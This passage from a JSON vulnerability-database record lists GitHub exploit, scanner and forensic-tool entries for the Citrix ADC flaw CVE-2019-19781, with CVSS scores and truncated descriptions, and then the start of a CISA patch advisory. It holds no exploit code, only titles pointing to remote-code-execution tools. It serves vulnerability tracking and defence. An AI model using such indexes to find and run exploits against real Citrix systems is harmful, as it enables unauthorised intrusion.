"bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-20T11:41:57", "id": "CF9EC818-A904-586C-9C19-3B4F04770FBD", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-20T23:15:01", "description": "# CVE-2019-19781\nRemote Code Execution Exploit for C...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T07:16:23", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-20T22:46:29", "id": "988A0BAB-669A-57AE-B432-564B2E378252", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:30:12", "description": "# CVE-2019-19781\n\nCVE-2019-19781 Module for [Router Scan Project...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-05-26T08:00:22", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-05-26T08:05:13", "id": "306622D1-6E5F-53BE-AE3D-A17E5DAC3F50", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T13:54:10", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-08T10:42:20", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-11-28T06:33:59", "id": "3BFD8B83-5790-508D-8B9C-58C171517BD0", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:32:49", "description": "# CVE-NetScalerFileSystemCheck\r\nThis script checks the Citrix Ne...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-16T08:52:14", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-06-21T13:40:35", "id": "6787DC40-24C2-5626-B213-399038EFB0E9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:48", "description": "# CVE-2019-19781\n\u6279\u91cf\u6982\u5ff5\u9a57\u8b49\u7528\n\u4f7f\u7528\u9650\u5236\n----------------------...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-17T06:09:18", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-17T06:23:10", "id": "1AAD4FCC-D02C-52F0-ADA8-410D1B99297C", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-16T12:29:54", "description": "# check-cve-2019-19781 \ud83d\udd0e\ud83d\udc1e #\n\n[![GitHub Build Status](https://git...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T00:26:16", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-06-16T11:16:06", "id": "46FA259E-5429-580C-B1D5-D1F09EB90023", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-06T19:18:05", "description": "# Citrix Unauthorized Remote Code Execution Attacker - CVE-2019-...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-17T11:52:36", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-06T16:40:34", "id": "62ED9EA6-B108-5F5A-B611-70CC6C705459", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:34:17", "description": "# Shitrix-CVE-2019-19781\nMy working approach t...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-12T18:53:29", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-07-21T15:54:44", "id": "2849E613-8689-58E7-9C55-A0616B66C91A", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:35:12", "description": "# CVE-2019-19781\r\nAutomated script for Citrix ADC scanner ([CVE-...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-27T15:09:51", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-12-13T12:56:50", "id": "F27B127B-57F0-5352-B92F-B6F921378CBB", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:35:48", "description": "# Remote Code Execution Exploit (CVE-2019-19781)- Citrix Applica...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-09T05:17:07", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-07-09T05:17:29", "id": "0829A67E-3C24-5D54-B681-A7F72848F524", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:34:32", "description": "# CVE-2019-19781...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-09T14:26:02", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-07-09T14:30:49", "id": "0A8A2E34-0577-5F13-BD78-B9E96A8AF008", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:41:05", "description": "# Ctirix_RCE-CVE-2019-19781\nCitrix ADC RCE cve-2019-19781\n\n### [...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-29T05:22:47", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-12-06T19:08:34", "id": "2C33B9C6-636A-5907-8CD2-119F9B69B89B", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-02T11:58:22", "description": "# Indicator of Compromise Scanner for CVE-2019-19781\n\nThis repos...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-21T15:20:25", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-02T08:18:59", "id": "C790841B-11B6-5497-B6DB-EF8A56DD8A0C", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-06T06:34:39", "description": "# CVE-2019-19781\n\nSimple POC to test if your Citrix ADC Netscale...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-30T17:37:40", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-06T03:45:44", "id": "9304254B-557D-5DFE-AF8D-E21D0DF1FFDF", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:27:58", "description": "- [CVE-2019-19781 DFIR notes](https://github.com/x1sec/CVE-20...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-12T23:13:56", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-10-27T02:49:53", "id": "18DD4D81-26F7-5D44-BAC2-BC6B7D65E198", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:24", "description": "# Remote Code Execution Exploit (CVE-2019-19781)- Citrix Applica...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-11T20:43:09", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-04-19T06:52:48", "id": "F3D87CA2-44D8-583C-AF7F-85AA53FB6CAD", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:35", "description": "# Update 1-22-2020\nThere is now a tool from FireEye that will he...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-20T18:34:51", "type": "githubexploit", "title": "Exploit for CVE-2019-19871", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19871", "CVE-2019-19781"], "modified": "2021-05-12T19:42:30", "id": "A4F047D6-CD61-5E9D-86EF-FB824CE2625F", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-06T10:03:57", "description": "# check-your-pulse #\n\n[![GitHub Build Status](https://github.com...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2020-04-16T16:32:47", "type": "githubexploit", "title": "Exploit for Path Traversal in Pulsesecure Pulse Connect Secure", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781"], "modified": "2022-03-06T07:12:20", "id": "62891769-2887-58A7-A603-BCD5E6A6D6F9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "cisa": [{"lastseen": "2021-02-24T18:06:50", "description": "Citrix has released security updates to address the CVE-2019-19781 vulnerability in Citrix SD-WAN WANOP. An attacker could exploit this vulnerability to take control of an affected system. Citrix has also released an Indicators of Compromise Scanner that aims to identify evidence of successful exploitation of CVE-2019-19781.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) strongly recommends users and administrators review the Citrix Security Bulletin [CTX267027](<https://support.citrix.com/article/CTX267027>) and apply the necessary updates. CISA also recommends users and administrators:\n\n * Run the [Indicators of Compromise Scanner](<https://www.citrix.com/blogs/2020/01/22/citrix-and-fireeye-mandiant-share-forensic-tool-for-cve-2019-19781/>);\n * Review the Citrix article on [CVE-2019-19781: Fixes now available for Citrix SD-WAN WANOP](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>), published January 23, 2020; and\n * Review CISA\u2019s Activity Alert on [Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP](<https://www.us-cert.gov/ncas/alerts/aa20-020a>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/01/23/citrix-releases-security-updates-sd-wan-wanop>); we'd welcome your feedback.\n", "edition": 